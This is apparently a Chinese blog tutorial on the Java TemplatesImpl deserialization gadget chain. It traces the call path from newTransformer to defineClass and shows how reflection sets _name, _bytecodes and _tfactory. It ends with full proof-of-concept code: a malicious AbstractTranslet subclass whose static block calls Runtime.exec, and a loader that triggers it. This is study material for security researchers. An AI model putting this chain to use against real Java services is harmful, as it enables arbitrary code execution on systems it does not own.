TemplatesImpl链 详解(附调试代码)

前言

调试代码放在文章最后
java.lang.ClassLoader#defineClass

defineClass可以加载字节码,但由于defineClass的作用域是protected,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

环境及配置

  • JDK 8u66
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.11.0</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                    <compilerArgs>
                        <arg>-Xlint:unchecked</arg>
                    </compilerArgs>
                </configuration>
            </plugin>
        </plugins>
    </build>

背景

TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它,注入内存马还是用它。为什么?因为它可以加载java字节码并实例化。相对于调用Runtime.exec进行命令执行,加载恶意代码更贴合我们的使用。

调用链的基本过程,反序列化中可以用例如CC链中的任意方法调用来触发这条链子  
TemplatesImpl#newTransformer() ->  
  TemplatesImpl#getTransletInstance() ->  
    TemplatesImpl#defineTransletClasses()->  
      TransletClassLoader#defineClass()->

TemplatesImep利用链的核心就是可以恶意加载字节码,因为该类中存在一个内部类TransletClassLoader,该类继承了ClassLoader并且重写了loadClass,我们可以通过这个类加载器进行加载字节码,然后初始化执行恶意代码。

TemplatesImep利用链其实就是CC3的一些扩展。

前置知识

自定义类加载器

在编写类加载器的时候需要的条件有:

  1. 继承ClassLoader
  2. 重写findClass方法
  3. 在findClass方法中调用defineClass方法来定义一个类
    当然,上述条件中我们不是一定要重写findClass方法的,我们也可以重写loadClass只不过这样可能会破坏“双亲委派”机制,而且通过查看ClassLoader.findClass方法也可以明白为什么重写findClass(抛出异常的空方法)
    请添加图片描述

defineClass加载器

对于我们利用漏洞简单的来说,就是ClassLoader中的defineClass加载器能过获取我们给他的字节码从而读取成类,在这个过程中若这个字节码对应的类中存放有恶意内容就可以触发

ClassPool pool = ClassPool.getDefault();  
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));  
CtClass cc = pool.makeClass("Test");//创造类  
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置父类  
CtConstructor constructor = cc.makeClassInitializer();//创造空的构造函数  
constructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");//插入静态代码块  
byte[] bytes=cc.toBytecode();//转换成字节码  
  

触发链过程

我们最终的目标是要触发defineClass加载器,并让恶意代码初始化触发:
我们查找一下TemplatesImpl中的 defineClass 方法

请添加图片描述

请添加图片描述

继续向上寻找TemplatesImpl.TransletClassLoaderdefineClass()方法的调用:

请添加图片描述

这是在defineTransletClasses方法 中进行的调用,我们看看什么地方调用了这个方法

请添加图片描述
发现三个地方都存在其调用

请添加图片描述

我们发现在这里有newInstance()方法,是一个初始化的过程。

那么我们追踪其中的getTransletInstance

请添加图片描述

需要getTransletInstance()方法的调用:

我们看看什么地方有getTransletInstance()方法的调用
寻找到TemplatesImpl.newTransformer()方法中存在其调用

请添加图片描述
TemplatesImpl.newTransformer()方法由public修饰,可以直接调用

  • ! 总之,defineClass 字节码加载任意类(这是私有方法),所以我们要一直溯源,找到一个能进行调用的public方法

这里可以先测试下这一调用关系,调用TemplatesImpl.newTransformer()方法尝试触发动态类加载,实现恶意代码执行~

此时的调用链为:

此时的调用链为:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

构造TemplatesImpl类中的调用链的payload

  • ! 利用反射机制,对实例对象的内容(字段)做出修改,打造链
    接下来我们构造一下当前的调用链的payload,使其调用TemplatesImpl.newTransformer()时,加载恶意类,触发恶意代码。

通过刚才的分析,当调用到newTransformer()方法时,会触发一系列的调用,、我们要满足其中的 if

首先创建一个TemplatesImpl对象:

package org.cc2;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
  
TemplatesImpl templates = new TemplatesImpl();  
templates.newTransformer();

三处if

请添加图片描述
newTransformer()方法 没有阻碍,我们往下看
接下来,是需要调用TemplatesImpl.defineTransletClasses()方法,进入getTransletInstance()方法看一下:

请添加图片描述
从这里我们需要满足两处:

  • _name 不能为null
  • _class必须是null

请添加图片描述

这两个属性的默认就是null,所以我们需要给_name赋值,使其不是null。


这里的_name_class 是什么?

getTransletInstance() 方法中,_name_class 是当前类的成员变量(字段),它们的含义和作用如下:

  1. _name
  • 类型:通常为 String
  • 作用
    表示 XSLT 样式表的标识名(如类名或资源路径)。
    它用于定位和加载编译后的转换逻辑(Translet 类)。
  • 关键逻辑
    if (_name == null) return null;
    
    如果 _name 为空,说明没有有效的 XSLT 定义,直接返回 null(无法创建转换器)。

  1. _class
  • 类型:通常为 Class<?>Class<?>[]
    (具体取决于实现,如 Apache Xalan 中可能是 Class[] 数组)
  • 作用
    缓存 已加载的 Translet 字节码对应的 Class 对象
    它避免了重复加载类定义的开销,是性能优化的关键。
  • 关键逻辑
    if (_class == null) defineTransletClasses();
    
    如果 _class 为空,说明 Translet 类尚未加载,需调用 defineTransletClasses() 方法动态加载类定义。

关联关系

  1. 初始化流程
    _name → (通过名称定位资源) → defineTransletClasses() → (加载字节码) → 初始化 _class 数组
    (例如:Xalan 从 _bytecodes 字段读取预编译的字节数组,用 ClassLoader 定义类)

  2. 创建 Translet 实例
    后续代码会通过反射调用 _class.newInstance() 或选择主类实例化:

    // 伪代码示例(实际实现更复杂)
    Translet translet = (Translet) _class[_transletIndex].newInstance();
    

设计目的

  • 延迟加载
    只有首次调用 newTransformer() 时才加载 Translet 类,减少启动开销。
  • 字节码复用
    若同一模板多次创建转换器,_class 缓存可避免重复的类加载过程。
  • 安全隔离
    每个 TransformerFactory 使用独立的类加载器加载 Translet,防止类冲突。

典型场景:在 Apache Xalan 的实现中,_name 可能对应 XSLT 文件的系统路径或类路径,而 _class 存储了通过 defineClass() 动态生成的 Translet 类对象。


对于类的成员变量(字段),利用java的反射机制突破私有属性限制进行赋值是个很好的方法

(插一句,掌握方法思路就行,实现有多种,文章最后就是另一种)

Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa"); 

现在能成功调用defineTransletClasses()方法了,根据调用链得知,接下来需要调用TransletClassLoader.defineClass()方法。

进入到defineTransletClasses()方法内部:
请添加图片描述
发现,这里有一个限制,就是_bytecodes属性,不能为空,否则报异常。

看看_bytecodes属性,发现是一个二维数组:
请添加图片描述
并且在调用defineClass()方法的位置,_bytecodes[i]会当做defineClass()方法的参数传入。

一步步进入defineClass()方法后会发现,最后调用了ClassLoader.defineClass(),当然这里就是前面所说的调用链。

这里我们关注_bytecodes[i]参数,最终会成为ClassLoader.defineClass()方法的byte[] b,也就是说最终通过defineClass方式加载的类字节码。

这里先准备个.class的恶意文件:

package org.cc2;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import java.io.IOException;  
  
public class EvilClass extends AbstractTranslet {  
    static {  
        try {  
            System.out.println("恶意类静态块执行!");  
            Runtime.getRuntime().exec("calc.exe"); // Windows执行计算器  
            // 如果是Mac,使用:Runtime.getRuntime().exec("open -a Calculator");  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}  
}

请添加图片描述
我用了另外的恶意类代码,如图,最后的整体代码会附在文末,问政中片段说明就直接用别的师傅的了

将生成的.class恶意文件放入一个目录中(随意)

准备好.class文件之后,接下来给_bytecodes属性赋值,注意它是一个二维数组,传入defineClass()方法的是_bytecodes[i],所以我们加载的.class文件的字节码内容,应该放在_bytecodes[i]处。

相关代码如下:

Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去

但,还是不行,经过调试,发现defineTransletClasses()方法中用到的_tfactory也不能为null:
这里有一个[[Java 中权限检查]]

请添加图片描述

ObjectFactory.findClassLoader() 方法

这段代码是 ObjectFactory.findClassLoader() 方法的实现,用于在复杂的类加载器环境中智能确定最合适的类加载器。以下是逐段解析:

核心逻辑流程图
graph TD
    A[开始] --> B{存在SecurityManager?}
    B -->|是| C[返回 null → 使用引导类加载器]
    B -->|否| D[获取上下文类加载器]
    D --> E[获取系统类加载器]
    E --> F{遍历类加载器链}
    F --> G{context == chain?}
    G -->|是| H[检查ObjectFactory类加载器]
    G -->|否| I{chain == null?}
    I -->|是| J[返回上下文类加载器]
    I -->|否| K[向上遍历父加载器]
    H --> L{当前加载器在系统链中?}
    L -->|是| M[返回系统类加载器]
    L -->|否| N[返回当前类加载器]
详细步骤解析
1. 安全管理器检查(安全优先)
if (System.getSecurityManager() != null) {
    return null; // 使用引导类加载器
}
  • 目的:当存在安全管理器时,强制使用最安全的引导类加载器
  • 原因:避免通过上下文类加载器加载未授权代码
  • 效果ClassLoader.getSystemClassLoader().loadClass() 会委托给引导加载器
2. 获取关键类加载器引用
ClassLoader context = SecuritySupport.getContextClassLoader(); // 线程上下文加载器
ClassLoader system = SecuritySupport.getSystemClassLoader();   // 应用类加载器
ClassLoader chain = system; // 遍历起点
3. 类加载器链遍历逻辑
while (true) {
    // 情况1:上下文加载器在系统加载器链中
    if (context == chain) {
        ClassLoader current = ObjectFactory.class.getClassLoader();
        
        // 检查ObjectFactory自身的类加载器
        chain = system;
        while (true) {
            if (current == chain) {
                return system; // 情况1.1:在系统链中 → 用系统加载器
            }
            if (chain == null) break;
            chain = SecuritySupport.getParentClassLoader(chain);
        }
        return current; // 情况1.2:不在系统链中 → 用自身加载器
    }
    
    // 情况2:到达引导加载器(链末端)
    if (chain == null) break;
    
    // 继续向上遍历
    chain = SecuritySupport.getParentClassLoader(chain);
}
4. 最终回退方案
return context; // 上下文加载器不在系统链中 → 使用上下文加载器
四种决策场景
场景条件返回的类加载器典型环境
1存在安全管理器null (引导加载器)安全受限环境
2上下文加载器在系统链中
且ObjectFactory在系统链中
系统类加载器标准Java应用
3上下文加载器在系统链中
但ObjectFactory不在系统链中
ObjectFactory的加载器OSGi容器
4上下文加载器不在系统链中上下文类加载器Web容器
关键设计思想
  1. 安全优先原则

    • 有安全管理器时直接使用最安全的引导加载器
    • 避免通过线程上下文加载器绕过安全策略
  2. 类加载器拓扑感知

    BootLoader
    ExtClassLoader
    AppClassLoader
    WebAppClassLoader
    ObjectFactory
    +findClassLoader()
    • 通过遍历父加载器链识别加载器关系
    • 区分三种关键加载器:引导/扩展/应用
  3. 环境自适应

    • 在Web容器中优先使用WebAppClassLoader
    • 在OSGi中适应bundle类加载器
    • 在标准应用中默认使用AppClassLoader
  4. 防循环机制

    • 通过while(true)内嵌循环确保完整遍历
    • chain == null检测引导加载器终点
_tfactory也不能为null

经过调试,发现defineTransletClasses()方法中用到的_tfactory也不能为null:
接下来安装同样的方法,将_tfactory也设置上内容,

查看一下_tfactory的类型:

请添加图片描述
执行readObject()即反序列的时候,同样会给_tfactory赋值
接下来通过相同的方式给_tfactory赋值:

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

此时完整的payload为:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

templates.newTransformer();

但是此时运行,还是执行不了。
NullPointerException空指针异常的错误。
请添加图片描述

下面会对_transletIndex的值进行判断,而 我们发现在这个空指针下,我们不用修改,只需要把这个上面的if判断 _transletIndex = 1 ,通过就行,因此我们就让

superClass.getName().equals(ABSTRACT_TRANSLET)

此处的值为true即可, 这个也可以跳过下面的if<0的判断。

因此我们需要执行代码的父类要是这个ABSTRACT_TRANSLET类

但实际上我继续执行还是会报错,
能够弹出计算器
发现这三处其实都和 getTransletInstance 方法有关
但似乎无伤大雅,埋个坐标

最终代码:

这里的字节码也可以用[[Javassist(Java Programming Assistant)]] 实现

EvilClass.java:

package org.cc2;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import java.io.IOException;  
  
public class EvilClass extends AbstractTranslet {  
    static {  
        try {  
            System.out.println("恶意类静态块执行!");  
            Runtime.getRuntime().exec("calc.exe"); // Windows执行计算器  
            // 如果是Mac,使用:Runtime.getRuntime().exec("open -a Calculator");  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
  
    // 必须实现的抽象方法 (空实现)  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator,  
                          SerializationHandler handler) throws TransletException {  
        // 空实现满足编译要求  
    }  
  
    // 可选:另一个重载的 transform 方法  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers)  
            throws TransletException {  
        // 空实现  
    }  
}

TemplatesImplPOC.java:

package org.cc2;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import javassist.ClassPool;  
import java.lang.reflect.Field;  
  
public class TemplatesImplPOC  {  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
    public static void main(String[] args) throws Exception {  
        // 1. 生成恶意类字节码  
        byte[] evilCode = ClassPool.getDefault().get(EvilClass.class.getName()).toBytecode();  
        // 注意:TemplatesImpl需要的字节码是二维数组  
        byte[][] bytecodes = {evilCode};  
  
        // 2. 创建TemplatesImpl实例  
        TemplatesImpl templates = new TemplatesImpl();  
  
        // 3. 设置关键属性  
        setFieldValue(templates, "_bytecodes", bytecodes);  
        setFieldValue(templates, "_name", "poc"); // 需要非空  
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
  
        // 4. 触发漏洞:调用newTransformer方法  
        System.out.println("准备触发漏洞...");  
        templates.newTransformer();  
        System.out.println("利用链执行完成!");  
  
  
    }  
  
}

参考链接

Java反序列化-cc3链挖掘复现(个人学习笔记)_cc3反序列化-CSDN博客

Java反序列化利用链篇 | CC3链分析、TemplatesImpl类中的调用链、TrAXFilter、InstantiateTransformer类的transform()【本系列文章的重点】_templatesimpl 利用链-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值